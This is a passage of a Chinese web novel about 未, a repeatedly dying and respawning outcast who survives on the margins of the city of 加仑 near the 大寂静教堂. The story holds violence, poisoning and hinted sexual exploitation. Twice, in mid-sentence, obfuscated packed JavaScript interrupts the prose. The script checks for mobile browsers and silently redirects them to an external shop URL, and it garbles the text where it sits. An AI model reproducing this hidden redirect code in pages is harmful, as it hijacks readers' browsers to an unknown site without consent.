他站起身,拍了拍手,仿佛要掸掉什么脏东西。“算你倒霉,也算老子倒霉,白跑一趟。还以为能有点……算了。”他的声音低沉下去,带着一丝未能说出口的、或许是关于“价值”的盘算落空后的悻悻。 脚步声再次响起,这次是真正地、毫不留恋地远离。 未依旧维持着原状,像一具被彻底遗弃的残骸。狼耳男子的话碎片般地传入他麻木的意识里——“带回去”、“浪费”、“亏本买卖”。这些词语没有激起他太多的情绪,只是如同冰冷的标签,贴在了这次“死亡”的经历上。带回老巢?能有什么好事呢。无非是更彻底的榨取,器官?苦力?或是其他更不堪的用途。在这座城市底层,一个“返祖崽子”的剩余价值,无非就是这些了。死了,反而清净。 又过了许久,直到寒冷几乎要将他僵硬的躯体彻底冻结,直到伤口的疼痛因为低温而变得迟钝,未才凭借着一丝残存的本能,开始挣扎。 他并没有一个清晰的“计划”,只是生存的本能在推动着他这具破败的身体。他先用左手极其缓慢地、一寸寸地挪动,然后是尚且能轻微活动的右腿,借助旁边废弃金属的棱角,一点点地将自己从俯卧的姿态,变成了半靠着的姿势。这个过程漫长而痛苦,每一次移动都伴随着骨骼摩擦的细微声响和肌肉撕裂般的痛楚,冷汗浸透了他破旧的衣物,又在低温下变得冰冷。 他靠在锈蚀的管道上,剧烈地、却无法深重地喘息着,每一次呼吸都像有刀子在肺部刮擦。视线因为失血和疼痛而阵阵发黑,远处的霓虹化作了模糊扭曲的光斑。 他还“活着”。这个认知对他而言,并无喜悦,只是一种状态的确认。 他转动僵硬的脖颈,视线落在几米外那本半埋在污雪中的生死之誓上。那猩红的封面,在杂乱灰暗的背景下,依旧刺眼。一种复杂的、近乎惰性的牵绊感,让他无法真正将其遗弃。它代表着痛苦,代表着循环,却也代表着……某种他无法摆脱的“熟悉”。 他喘息着,积蓄了许久的力量,然后拖着几乎失去知觉的下半身,用左手和身体的蹭动,一点一点地,向那本书的方向挪去。雪地和泥泞在他身后留下了一道断续的、混合着暗红血渍的痕迹。 终于,他的指尖触碰到了那冰冷而坚硬的封面。一股微弱的、熟悉的共感刺痛传来,仿佛在确认连接未曾中断。他用尽最后的力气,将书从雪堆里抠出来,抱在怀里。书册的冰冷透过衣物渗入皮肤,反而带来一丝对抗昏沉的刺激。 该往哪里去? 这个问题如同轻烟般飘过他空茫的脑海,没有答案。城市深处?那里是狼耳男子离去的方向,意味着更多的危险和未知的恶意。退回雪原?实验室的通风管道是永恒的起点,是另一重形态的囚笼,等待着下一次注定的失败。 他靠在管道上,怀抱着冰冷而沉重的书,眼神空洞地望着前方交错闪烁的霓虹。一种深沉的、浸透骨髓的疲惫和虚无感攫住了他。动与不动,似乎都没有太大区别。死亡是熟悉的回归,而生,不过是通往下一次死亡的、充满痛苦的路径。 或许……就这样待着,等待寒冷和失血带走最后一丝意识,然后回到那熟悉的起点?这个念头带着一种令人倦怠的吸引力。 然而,就在这片麻木的死寂中,一丝极其微弱的、并非源于主动思考的“认知”,如同水底的暗流般悄然涌动。狼耳男子去而复返……“带回去”……这些碎片,构成了一个与以往无数次被直接打死、抛弃稍有不同的“变量”。 这个“变量”本身,并不带有任何希望或目的的色彩。它只是一个“不同”的事实,像一颗投入静止水面的石子,即使水面本身已然冰封,也终究留下了一道微不可察的裂纹。未并没有想去探究这“不同”背后是什么,没有去想“老巢”里可能隐藏着什么。他的精神状态,仅仅能支撑他“意识到”这个变化的存在。 是回到绝对“熟悉”的循环起点,还是……留在这个刚刚出现了微弱“不同”的、同样危险的现在? 未低下头,看着怀中生死之誓那猩红的封面。书册沉默着,如同他此刻的内心,没有给出任何答案,只是存在着。 他挣扎着,用那只尚能活动的左手,紧紧抓住身旁一根突出的钢筋,以此为支点,将自己几乎失去知觉的身体,一点点地、极其艰难地,重新支撑起来。双腿如同不属于自己一般,颤抖着,几乎无法承重。他必须依靠着身后的废弃机械,才能勉强站立。 他没有看向雪原的方向,也没有明确的目标。他只是……开始移动。沿着狼耳男子离去的相反方向,沿着建筑阴影更浓重、霓虹灯光更稀疏的区域,一步一瘸地,拖着沉重而痛楚的身体,向着城市更深、更混乱的阴影里挪动。 他的动作迟缓而笨拙,眼神依旧空洞,没有任何神采,只有一种近乎本能的、对“原地等待彻底死亡”这一选项的微弱偏离。这并非探索,更非抗争,只是一个创伤深重的生命体,在无尽痛苦和麻木中,对刚刚出现的一丝微弱“变量”所做出的、最原始也是最被动的反应。 加仑城的夜晚,如同巨兽般吞吐着晦暗的气息,将这道渺小、残破、移动艰难的身影,缓缓吞没。风雪依旧,试图掩盖一切痕迹。只有他怀中那本猩红的书,在阴影里,兀自散发着不祥而沉默的光泽,记录着这一次介于“生”与“死”之间的、麻木的漂泊。 这一次濒临真实死亡、被像垃圾一样丢弃在废弃场的经历,如同用烧红的烙铁在未的灵魂深处烫下了一个简单的烙印:远离那个狼耳男子,远离那座名为“基因至上”的酒馆。那不是他能够涉足的领域,哪怕只是靠近,所带来的痛苦和屈辱都远超他所能承受的极限——即使他早已习惯了承受。 雪原的风依旧刺骨,但相比于城市边缘那种赤裸裸的、带着硫磺味和金属冰冷审视的恶意,这纯粹的严寒反而显得“安全”一些。未蜷缩在实验室通风管道里,感受着熟悉的、带着铁锈和消毒水气味的冰冷,第一次对这片囚笼起点产生了一丝扭曲的“归属感”。至少在这里,死亡是熟悉的,疼痛是可预期的。 但他没有立刻开始又一次徒劳的逃亡。他抱着那本生死之誓,在管道狭窄的空间里,像一只受伤的野兽般舔舐着伤口,同时麻木地“消化”着这次获得的信息。城市……护罩……边口……酒馆……雪原。一条清晰的地理链条在他脑中形成。那座“基因至上”酒馆,如同一个狰狞的哨卡,矗立在相对“秩序”的城市护罩与绝对“无序”的残酷雪原之间。 他必须绕过它。 接下来的几个轮回,他放弃了直接冲击实验室防线,转而利用死亡换来的、对雪原巡逻无人机规律的精确掌握,像一道幽灵般,在苍白的雪地上迂回,勘测着城市护罩的其他边缘区域。他发现,护罩并非毫无缝隙,能量流动存在着极其微弱的、周期性的波动。而在某些远离主要通道、靠近堆积如山的工业废料区的边缘,护罩的监察似乎也相对松懈——或许是认为,没有哪个理智的、渴望进入城市的人会选择从这种污秽不堪、能量干扰强烈的地方突破。 未没有“理智”,他只有求生的本能和对特定目标的规避。 …… 他选择了一个夜晚。风雪比往常更大,能见度极低,无人机巡逻的间隙也被拉长。他将生死之誓紧紧绑在胸前。他像一截枯木,静静地趴在雪地里,任由雪花覆盖身体,只留下一双眼睛,死死盯着远处那层在风雪中微微扭曲、泛着淡蓝色光晕的护罩。 就是现在。 他如同雪狸般窜出,动作迅捷而无声,扑向护罩底部一处因靠近大型废弃能量转换器而显得格外不稳定的区域。在接近的瞬间,他感受到一股强大的排斥力,仿佛撞上了一堵坚韧而富有弹性的墙壁,同时空气中弥漫开臭氧的味道。但他没有退缩,而是利用身体撞击的反作用力,以及护罩能量波动的瞬间衰减,像一枚楔子般,强行挤入了那短暂存在的、不足半米高的缝隙。 一阵强烈的眩晕和类似电流穿过身体的麻痹感席卷了他。仿佛穿过了一层粘稠的、带电的水膜。下一秒,他重重地摔落在护罩内侧的地面上。 这里依旧是城市的边缘,但空气……不一样了。虽然依旧混杂着机油、劣质燃料和无数生物聚居产生的复杂气味,但却少了一种雪原上那种仿佛能冻结肺叶的、带着金属碎屑的凛冽。一种……相对“温和”的污浊。他贪婪地、却又小心翼翼地吸了一口气,肺部传来一阵轻微的刺痛,但并非无法忍受。 他成功了。他绕开了“基因至上”酒馆,非法潜入了这座名为加仑的城市。 他立刻翻滚到一旁堆积的、散发着古怪气味的金属集装箱阴影里,警惕地观察着四周。这里似乎是城市的一个废弃物料堆放区,远处能看到高耸的、灯火通明的建筑轮廓,以及更远处那座刺破夜空、如同冰冷金属手指的钟楼。近处则是一片混乱,各种废弃的载具零件、破损的建材和不知名的垃圾堆积如山。 他需要尽快离开这片容易被巡逻队注意的区域。他贴着阴影,沿着狭窄的、满是油污的小巷,向着城市内部摸去。然而,就在他试图绕过一座看起来像是大型仓库的建筑时,一个高大的、轮廓僵硬的身影,从仓库侧面一个不起眼的小门里走了出来,几乎与他撞个满怀。 未的心脏瞬间停止了跳动,血液仿佛冻结。 是那个机械酒保。他那标志性的、覆盖着油腻污渍的皮质围裙,以及那只此刻正泛着冰冷扫描蓝光的机械义眼,在昏暗的光线下清晰可辨。他手里提着一个黑色的、散发着食物馊味的垃圾袋,显然是要出来倾倒。 四目相对。 未全身的肌肉瞬间绷紧,如同被踩到尾巴的猫,几乎要立刻转身逃窜,哪怕明知会立刻暴露,会引来追捕。恐惧,纯粹的、源自多次死亡经历的恐惧,扼住了他的喉咙。 然而,出乎意料的是,机械酒保那只扫描的义眼在他身上停留了片刻,蓝光闪烁了几下,似乎在确认什么。然后,那冰冷的机械合成音响起,语气平淡得没有任何波澜,仿佛只是在陈述一个客观事实: “非法潜入?” 未僵在原地,准备承受随之而来的警报或攻击。 但酒保只是将垃圾袋随手扔进旁边的巨型垃圾桶,发出沉闷的撞击声。他转过身,那只正常的、带着些许混浊的眼睛瞥了未一眼,补充了一句,声音依旧毫无感情: “如果你想找个地方喘口气,不被立刻抓去充作‘耗材’……可以去‘大寂静教堂’附近。或者,至少离那里近点。” 说完,他甚至没有等待未的反应,便径直转身,重新走进了那扇小门,金属门轴发出吱呀一声轻响,将他与外界隔绝。 未呆呆地站在原地,过了好几秒,那口憋在胸口的气才猛地吐了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848491|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,带着剧烈的咳嗽。没有警报,没有攻击,甚至没有多余的盘问。只是……一句近乎于施舍的、指向某个地点的信息。 “大寂静教堂”? 他不敢停留,立刻拖着依旧虚弱而疼痛的身体,钻入了更深的巷道阴影之中。但机械酒保的话,却像一颗种子,落在了他荒芜而麻木的心田上。一个……可以“喘口气”的地方? 接下来的日子,未像一只真正的阴沟老鼠,在这座庞大而冰冷的城市里挣扎求存。他不敢在一个地方停留太久,凭借着无数次死亡磨砺出的、对危险近乎本能的直觉,他避开那些闪烁着诱人霓虹、却散发着危险气息的主要街道,只在错综复杂、昏暗肮脏的后巷与废弃区域穿行。 他花了相当于外界数个轮回的时间,几乎是靠着双脚,麻木地、迂回地绕着这座城市的边缘区域行走了一圈。他看到了高墙林立、能量屏障闪耀的核心区,那里进出的是衣着光鲜、带着各种义体或散发着微弱能量波动的“公民”;他也看到了如同蚁穴般拥挤、嘈杂、散发着恶臭的底层聚居区,那里充满了面黄肌瘦、眼神浑浊的贫民和各种奇形怪状、在夹缝中求生的变异生物。 困了,他就找个废弃管道、坍塌建筑形成的缝隙,或者大型垃圾箱背后,蜷缩起来,抱着生死之誓,陷入一种半昏迷式的浅眠。饿了,他就翻找那些散发着馊臭气的垃圾桶,与更弱小的拾荒者争夺一点点可以果腹的、来源不明的食物残渣。他也尝试过小偷小摸,目标是最不起眼的、摆在店铺外围的、看似无人看管的小物件或食物。但他失败了数次,不是因为技巧不够娴熟,而是因为在这个一切似乎都与某种能量、某种“资质”挂钩的城市里,他这种纯粹的、物理意义上的“无能力”,让他连做一个小偷都显得格外艰难。一次,他刚把手伸向一个摊位上看起来干瘪的水果,摊位主人,一个手臂改装成多功能钳子的人,甚至懒得呵斥,只是随意地一挥手,一股微弱的气流就将未掀了个跟头,引来周围一阵哄笑。 “连最低等的‘动能扰动’都没有的废物,也学人偷东西?”他嗤笑着,甚至懒得再多看他一眼。 未从地上爬起来,拍掉身上的尘土,脸上没有任何表情。羞辱感早已在数百次的死亡和折磨中变得麻木。他只是默默地走开,继续寻找下一个可能获取食物的机会。他清晰地认识到,在这里,他如同尘埃,甚至连被正视的资格都没有。 “大寂静教堂”。 这个名字,在他如同行尸走肉般的游荡中,逐渐从机械酒保那句平淡的话语里浮现出来。他并没有主动去寻找,因为这教堂大的实在显眼。 教堂坐落在一片相对“干净”的街区,与其说是神圣,不如说是一种带着压抑感的肃穆。巨大的、由某种暗色金属和石材构成的建筑,线条硬朗而冰冷,没有任何繁复的装饰,只有顶端一个巨大的、象征着“寂静”的、如同被抹消的声波般的符号。教堂周围一定范围内,街道似乎确实整洁一些,巡逻的城市守卫的身影也偶尔会出现,眼神虽然依旧冷漠,但少了几分在其他区域常见的、随时准备暴力执法的戾气。 未很快发现,他无法进入教堂。并非物理上的阻挡,而是一种更根本的排斥。当他试图靠近那扇巨大的、紧闭的金属大门时,一股源自灵魂深处的、强烈的厌恶和眩晕感便会袭来,仿佛他整个人都与这片被某种规则力量笼罩的区域格格不入。他被这个世界的根本规则所排斥,无法成为任何意义上的“信徒”。 但是,他很快找到了自己的“位置”。 他无法进入教堂的光明,却可以寄生在由教堂统治所衍生的阴影里。 他学会了利用“秩序阴影”。教堂需要维持周边区域的表面稳定,以彰显其“庇佑”与“控制力”。这使得附近的暴力行为会受到一定程度的压制,至少是明面上的压制。未发现,在教堂视线可及的几条主干道旁,那些狭窄的、堆满杂物的巷口,成为了相对“安全”的栖身之所。巡逻队会经过,但很少深入搜查,只要他不做出明显的挑衅或犯罪行为。他像一块不起眼的污渍,黏着在秩序的边缘。 他学会了汲取“资源溢出”。教堂并非完全封闭,它有人员往来,有物资输送。那些穿着灰色制服、表情漠然的教堂杂役,偶尔会推着装载着捐赠品(大多是些临近过期或品相不佳的食物和日用品)的小车,从侧门进出。有时会有颠簸,会有“意外”的洒落。未和其他几个像他一样、无法进入教堂却又在此徘徊的“边缘人”,会如同秃鹫般,在远处静静地等待着这些“意外”的发生。他们从不争抢,只是麻木而迅捷地捡起掉落的、往往被杂役们懒得弯腰去拾的东西——一个压扁的面包,几根蔫黄的蔬菜,甚至是一小瓶未贴标签的、味道古怪但能补充水分的液体。 更重要的是,他被动地迎合了“表演性怜悯”。教堂偶尔会组织一些面向“迷途者”和“贫困者”的慈善施舍活动,通常是在教堂广场的边缘,有守卫维持秩序,有穿着洁白长袍、面容悲悯的修女或修士进行分发。未从未试图去排队领取——那需要登记,需要接受“感化”,而他根本无法靠近。但他发现,在这些活动进行时,总会有一些“热心”的市民或低级信徒,为了彰显自己的“虔诚”或积累所谓的“功德”,在活动外围,自发地、带着一种施舍般的优越感,分发一些更廉价、更零碎的食物。 未和其他人一样,会默默地凑过去,伸出肮脏的手,接过那一小块硬得像石头的黑面包,或是一小杯浑浊的水。分发者通常不会多看他们一眼,仿佛只是在完成一项程序。未则会低下头,让脏污的头发遮住脸,做出卑微的姿态——这不是表演,而是他生存状态的真实写照,只是此刻,这种真实恰好符合了施舍者对于“可怜人”的想象。他舔舐着这由他人表演欲所溢出的、微薄的资源,内心没有任何感激,只有一种冰冷的、基于生存本能的利用。 他的生存,与信仰无关,与善意无关。他只是这个由教堂所代表的、畸形社会结构的一个必然的、讽刺的副产品。他依附在这头秩序巨兽的体表,小心翼翼地避开其利齿和视线,舔舐着其鳞片缝隙间因运作不畅而漏下的、微不足道的残渣。 他甚至不敢在清晨或傍晚行动。那些时候,阴影过长,危险容易潜伏。他只在一天中阳光最盛、视野最好的中午时分,才敢离开他藏身的缝隙,沿着相对宽阔、有零星行人或巡逻队经过的大路边缘,快速移动,前往他知道的几个可能有“资源溢出”或“表演性怜悯”发生的地点。他的行动轨迹固定而短暂,如同被设定好程序的机械,在极小的范围内重复着觅食与藏匿的循环。 他行走在街上,依旧不安全。偶尔会有飞驰而过的、装有消音装置的浮空车溅起泥水泼洒在他身上;会有穿着体面、带着能量防护徽章的人对他投来嫌恶的目光,如同看到秽物;甚至会有街头混混,在确认他毫无价值且远离教堂守卫视线时,对他进行无端的推搡和辱骂,只为了取乐。 未从不反抗,也几乎不回应。他只是承受着,如同海绵吸收水分般吸收着这些恶意,然后继续移动,寻找着下一个可以让他这具痛苦而麻木的躯体继续存在下去的资源点。他怀里的生死之誓沉默地记录着这一切,那猩红的封面,在加仑城虚假的阳光下,反射着与他眼神一般无二的、死寂而冰冷的光泽。他活着,仅仅是因为还活着,因为那深入骨髓的求生本能,以及那本将他与死亡隔开、却又带来无尽痛苦循环的书,尚未允许他真正安息。 7. 【四】 “大寂静教堂”。 在最初几次因好奇而靠近却感到强烈不适后,未开始运用他在这座城市底层生存时磨练出的观察力进行调查。这并不困难,关于教堂周身笼罩着一种特殊的“安宁力场”,几乎是加仑城居民口耳相传的常识。这种力场被宣传为驱散“混乱思绪”与“不洁灵光”,为信徒营造纯粹环境的手段。 未躲在远处,仔细观察那些进出侧门的人。他们大多佩戴着统一的、闪烁微光的徽章,穿过那道无形界限时,周身会泛起一层与之共鸣的柔和光晕,顺畅无阻。而他尝试靠近时,感受到的却绝非“安宁”。那是一种强烈的排斥,仿佛有无形的墙壁在挤压他,空气中弥漫着低频的、让他牙齿发酸的嗡鸣。胃部翻搅,太阳穴突突直跳,视线偶尔扭曲——这些症状,与他记忆中在实验室里暴露在高强度能量场下的生理反应相似,只是这里的“力场”带着某种特定的“筛选”属性。 他进行了测试。正午时分,排斥感稍弱一丝,但依旧存在。夜晚,尤其是教堂内部进行集体活动时,那股力量会变得格外强韧,仿佛整个建筑都在向外辐射拒绝他的波纹。 最关键的证据来自于对比。他注意到,其他一些落魄、甚至带有轻微变异的人,只要身上有徽章或能量标记,就能进入教堂。而他,这个没有任何标识、体内也检测不到“合规”能量波动的“返祖者”,则被毫不留情地阻挡在外。 结论清晰:这座教堂释放着一种特定的魔法力场,对“注册在案”或有“信仰共鸣”的居民影响微乎其微,但对他,却产生了强烈且持续的排斥。问题并非出在力场本身,而是出在他自己身上。这更像是一种基于能量频谱或生物标识的、冷酷的安检系统。他连接受“感化”的资格,都被最基础地剥夺了。 然而,求生本能驱使他在绝境中寻找缝隙。他无法进入光明,却找到了在由教堂统治所衍生的阴影里寄生的方式。他发现在教堂主体建筑视线可及的几条主干道旁,那些狭窄的、堆满废弃杂物的巷口和垃圾场,成了相对“安全”的临时栖身之所。 但仅仅是“喘口气”远远不够。加仑城没有免费的空气,也没有免费的阴影。很快,未就切身体会到了“呼吸税”的沉重压力。这并非字面意义上的税款,而是一种强制性的、针对所有在城市护罩内滞留者的综合性生存税费,捆绑了基础生存权、公共空间使用费等名目。无力支付者,下场清晰——被抓住,贴上“耗材”标签,成为实验消耗品或被榨干最后价值。 未在游荡中,偶尔会远远瞥见雷蒙德——那个狼耳男子——和他那几个兽类特征的同伙在非酒馆区域活动。流言拼凑出雷蒙德曾是“基因净化部队”成员的过往,如今那身本事更多用来树立权威,干些拿钱办事或“清理”不顺眼家伙的脏活。他们活动的边界巧妙地避开了教堂势力的核心范围,双方形成了一种互不干涉的微妙平衡。 未深知,自己这副毫无价值、“返祖”的躯壳,绝不能引起雷蒙德的注意。他像避开瘟疫一样,规避所有可能交集的区域。但为了支付“呼吸税”,他必须找到获取信用点的途径。所有正式工作都要求基因认证或能量亲和度证明,他一样都没有。 他被排斥在正规经济体系之外,只能投向那些城市夹缝中滋生的灰色“活计”。这些活计不要求身份,只赤裸地询问:你愿意付出什么?答案往往指向痛苦、尊严或身体。 他曾将希望寄托在一家普通面包店。饥饿驱使他行动,指尖刚触到玻璃,刺耳警报就炸响。保安的电棍捅穿了他的肾脏,弥留视线里,橱窗内泡芙上滴落的奶油痕迹,形状像极了他童年时召唤出的、早已失去的微弱雷球。 第三次轮回,他利用“生死之誓”坚硬的封面卡住自动门,挤入店内,慌乱中抓起一个草莓蛋糕。成功逃离后,那偷来的蛋糕硌得他肋骨生疼,甜腻中带着腐败般的酸腐感,像是在嘲笑他的徒劳。 到了第七次,他在面包店后巷的垃圾桶里发现了规律:每周四下午接近打烊时,过期面包和临近失效的镇痛剂空瓶会被丢弃。他学会了在那个精确时间点,像幽灵一样蹲守在阴影里。 第九次,或许因为饥饿或霉运,他又被逮住。保安的唾沫喷在他脸上:“连基因序列都稳定不了的返祖渣滓,也配碰这些基因食品?”拳头落下前,他涣散的视线捕捉到街角传单上「教堂提供庇护与救赎」的字样,但他心里清楚,那扇门和他毫无关系。这次死亡让他最终放弃了从正常渠道获取食物的幻想。 生存压力迫使他看向更阴暗的角落。他曾踏入一个灯光暖昧、弥漫人工香氛和金属摩擦味的场所。一个肢体部分替换为机械骨骼的人用电子义眼扫描他,弹了弹虚拟香烟的灰烬:“皮相骨相还算干净。提供特殊服务时,记得把你怀里那本破书摘了。” 未麻木地,凭借肌肉记忆,开始第十七次解开破旧衬衫的纽扣。就在这时,“生死之誓”猛然自行合拢,厚重的封面“啪”地一声,精准夹在了一个凑过来的客人手指上。惨叫声和暴怒的拳头落下前,未的大脑空白,只在潜意识记录:这家伙挥拳前,脸部会快速抽搐。 当第十八次重生白光包裹他时,他蜷缩在更肮脏的后巷,剧烈干呕,胃里空无一物,只有胆汁灼烧喉咙。 最终,经过无数次试探、失败和死亡回归,他找到了一种利用重生之便和无需医疗费的“优势”赚取信用点的活计。一个地下拳击俱乐部,经营着“虐待日结班”。他成了擂台上供人发泄的活靶子,按场次结算薪酬的人肉沙包。 刺眼聚光灯将他苍白的身影钉在擂台角落,一条铁链松松绕在脚踝。一个装备军用级基因增强臂铠的人,第二十三次以练习直拳砸断他试图格挡的左臂。骨裂声被观众的狂热欢呼淹没。 “对!就这样!看看这纯粹的、未经修饰的痛苦!”主持人亢奋叫喊,将几张污渍斑斑的低额信用点钞票塞进他浸透鲜血汗水的绷带缝隙,“这些返祖畜生的惨叫,真是值回票价!” 在第二十五次重生后,未学会了在第三个回合假装体力不支昏迷,缩短承受伤害的时间,并能在被拖下擂台时,于剧痛中保持一丝清醒,记住离场路线和可能藏匿报酬的地点。 这收入仅徘徊在饿不死边缘。但至少,它能提供一种可预期的、勉强支付最低额度“呼吸税”的信用点,让他能像一抹卑微污迹,继续黏附在城市表皮之下,避免因欠税被系统标记,进而被雷蒙德那样的人“清理”掉。 尽管竭力规避,关于“基因至上”酒馆和雷蒙德的信息,还是如同灰尘和噪音,飘入他被动接收的感官中。他知道雷蒙德拥有恐怖嗅觉,知道机械酒保的义眼扫描存在短暂盲区,知道他们午后会因酒精或药物陷入松懈……这些零碎信息,是过往数十次轮回用死亡和痛苦换来的“答案”,构成一张无形地图,确保他能像躲避天敌的猎物,精准绕开那片死亡之地。 他因此让自己更像影子,消融在教堂附近的连绵阴影中。眼神日益空洞,动作更加沉默,脚步几乎无声,呼吸微弱,仿佛连“存在”本身都在努力自我消弭。他维持这种近乎停滞的生存,仅因那深入骨髓的求生欲望还在顽固燃烧,以及这本既隔绝死亡又带来痛苦循环的诡异之书,尚未下达最终的安息指令。 …… 未蜷缩在“大寂静教堂”投下的巨大阴影里,背靠冰冷石墙。加仑城的夜晚,月光被能量护罩过滤得冰冷稀薄。 疲惫侵蚀着他麻木的神经。眼皮沉重,意识模糊下沉。恍惚间,他置身于一个空旷肃穆的空间内部。高耸穹顶,彩绘玻璃投下斑斓冰冷的光束,空气中弥漫着檀香和金属的混合气味。 他蹲在长椅阴影下,紧抱“生死之誓”。月光透过彩窗,将猩红封面染成溃烂伤口般的紫红色。 突然,一只戴纯黑手套的手伸来,握着镶嵌宝石、闪烁寒光的手杖,狠狠捅向他藏书的腹部!剧痛炸开,仿佛内脏搅碎。 “圣所禁止携带异端物品!”冰冷的声音在头顶响起,如同金属摩擦。 然而,在撕心裂肺的痛楚中,未却扯动嘴角,露出扭曲微笑——这次,他“记得”提前在身下长椅缝隙里,用指甲刻好了逃生路线图。当杂乱的脚步声和盔甲碰撞声从四面冲来时,他正艰难地抬起手,将最后一点面包渣,撒向地面上一块被彩窗光影投射出的异常明亮的光斑。 几只蚂蚁被食物吸引,迅速聚集,搬运比身体还大的碎屑。它们行进路线迂回、分合,带着原始的、精准的规律。未呆呆看着,觉得那轨迹莫名眼熟,与“生死之誓”内页那些扭曲盘绕、无法理解的墨迹,有着惊人相似。 “你看,”他扭过头,对着不远处一尊面容悲悯、眼神空洞的圣母石像,发出无声耳语,“连它们……都比我懂怎么活。” 寒风卷着雪粒打在脸上,未猛地惊醒,身体打了个寒颤。他依旧蜷在教堂外的阴影里,背后石墙冰冷刺骨。刚才的触感、剧痛和光影,只是一场梦。他低头看怀里的“生死之誓”,它安静待着,封面在真实月光下是沉郁的暗红。腹部没有伤口,只有饥饿的空绞。 他甩甩头,驱散混乱感。然而,关于教堂内部结构的零星碎片——穹顶、彩窗、长椅——却模糊留在意识里。这些从何而来?他从未进去过。是实验室的资料?还是遗忘记忆的回响?他分不清。 生存压力很快将思绪挤到角落。呼吸税像越来越紧的钳子。他需要食物,更需要信用点。 某个轮回,风雪交加的夜晚,他为躲避巡逻队,爬上废弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848492|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖气管道。下方,两个裹得严实的路人缩着脖子快步走过,谈话声随风飘来: “……听说‘大寂静教堂’……有时收留没有基因认证的人?” “假的……别信……我表亲在里面打杂,说祭司自己脖子上都戴着电子镣铐……看着光鲜罢了……” 话语碎片落入耳中,没有波澜。收留?他连靠近都做不到。电子镣铐?他无法想象,也不关心。 食物是最大问题。一次轮回,他遇到住在废弃阁楼里、身影佝偻、声音沙哑的人。那人递给他一小块稍软的面包,含糊道:“吃吧,孩子。” 未接过面包,触感无异常。他学会接过任何食物时都下意识嗅一下。这次,没嗅出异味。然而,第七次轮回,他再次从同一个人手中接过类似食物后,腹部传来刀绞剧痛,视野迅速黑暗。重生后,他意识到面包屑里可能被掺了东西。是故意?还是变质?他不知道。那个人是善意还是恶意?无法判断。在这个世界,辨别敌友都困难,甚至辨别性别——很多人包裹在衣物或义体下,声音扭曲,他常分不清男女,只能模糊定义为“人”。 又一次轮回,他又遇到阁楼里的人。这次,递来的食物更糟,隐约看到反光的细小颗粒混杂其中。是玻璃渣?还是别的?饥饿如火,他知道可疑,但在对方阴影里的眼睛注视下,他还是吞了下去。喉咙和胃部立刻传来划伤的锐痛。 那个身影看着他痛苦蜷缩,似乎在摇头,声音沙哑模糊:“教会……每周二发放‘纯净’食物……但……圣水淋过的东西,我们这样的吃了……据说会烂肚子……” “圣水”?“烂肚子”?未蜷缩地上,意识模糊。他吃过的所有东西,似乎最终都让肚子火烧刀绞,无论是垃圾桶残渣,还是偶尔的“干净”食物。虫肉带来的不适稍轻,但也好不到哪去。他无法理解“圣水淋过”的特别,所有食物都带着某种“毒性”。这句话在他听来,像无意义的呓语,抓不住警告,听不出言外之意,只是又一个无法理解的混乱信息。 他越来越多地依赖在肮脏角落找到的另一种“食物”。教堂地基附近、废弃下水道出口,潮湿砖石缝隙间,总能找到甲壳虫或其它小生物。起初出于极度饥饿,后来成为麻木习惯。他用“生死之誓”封面碾碎虫子硬壳,掏出苍白柔软的肉。蛋白质的腥甜冲鼻,咀嚼时感到细小肢体在齿间碎裂。味道作呕,但至少,获取它们不需要付出尊严——或者说,他仅存的尊严,早已在充当人肉沙包时被欢呼和鄙夷碾碎。相比那种屈辱,吞吃虫肉反而显得纯粹。 他又一次陷入混乱梦境。这次,他仿佛置身教堂下方幽深潮湿的地窖。成群老鼠在脚边窜过,窸窣作响,啃食角落不知名的东西。梦境跳跃,他看见自己的手,再次用“生死之誓”封面碾碎虫壳。接着,场景切换,一个穿黑色长袍、面容模糊的神父,手持闪烁银光的十字架,尖端锋利如匕首,狠狠刺入他心脏。 剧痛传来,视线却莫名清晰,死死盯住不远处彩窗玻璃底部,一行他原本不该认识、此刻却莫名理解的希伯来文: 「不洁者永堕暗处」 温热血珠从胸口涌出,顺着经文沟壑流淌,像诡异献祭。他感到怀中“生死之誓”微微发烫,书页墨迹在阴影中疯狂扭动、重组,最终凝固成冰冷记录:【死亡原因:圣器穿刺】。 未再次惊醒,冷汗浸湿衣领。心脏狂跳,梦中被刺穿的痛感残留余韵。他大口喘气,环顾四周,依旧是教堂外熟悉的、被阴影笼罩的角落。没有地窖,没有神父,没有十字架。 他低头看“生死之誓”,它沉默如初。那些梦境真实又荒诞。他进不去教堂,感受不到“圣水”,更不会被银十字架刺穿。这些梦,是潜意识的恐惧投射,还是那本书在用这种方式传递关于教堂、关于他自身处境的信息? 他用力掐自己胳膊,痛感告诉他此刻是现实。然而,梦中画面——彩窗下的文字、蚂蚁的轨迹、被穿刺的痛楚——却像烙印留下,与他在暖气管道上偷听的闲言碎语、与那个可疑之人关于“圣水”的模糊话语,交织成更大迷雾。 教堂依旧矗立,沉默,冰冷,近在咫尺却又遥不可及。它散发拒绝他的力场,内部隐藏秘密,而流言和梦境指向不祥真相。但他无法验证,无力突破。他的调查,因无法逾越的屏障和自身状态的混乱,在原地打转。 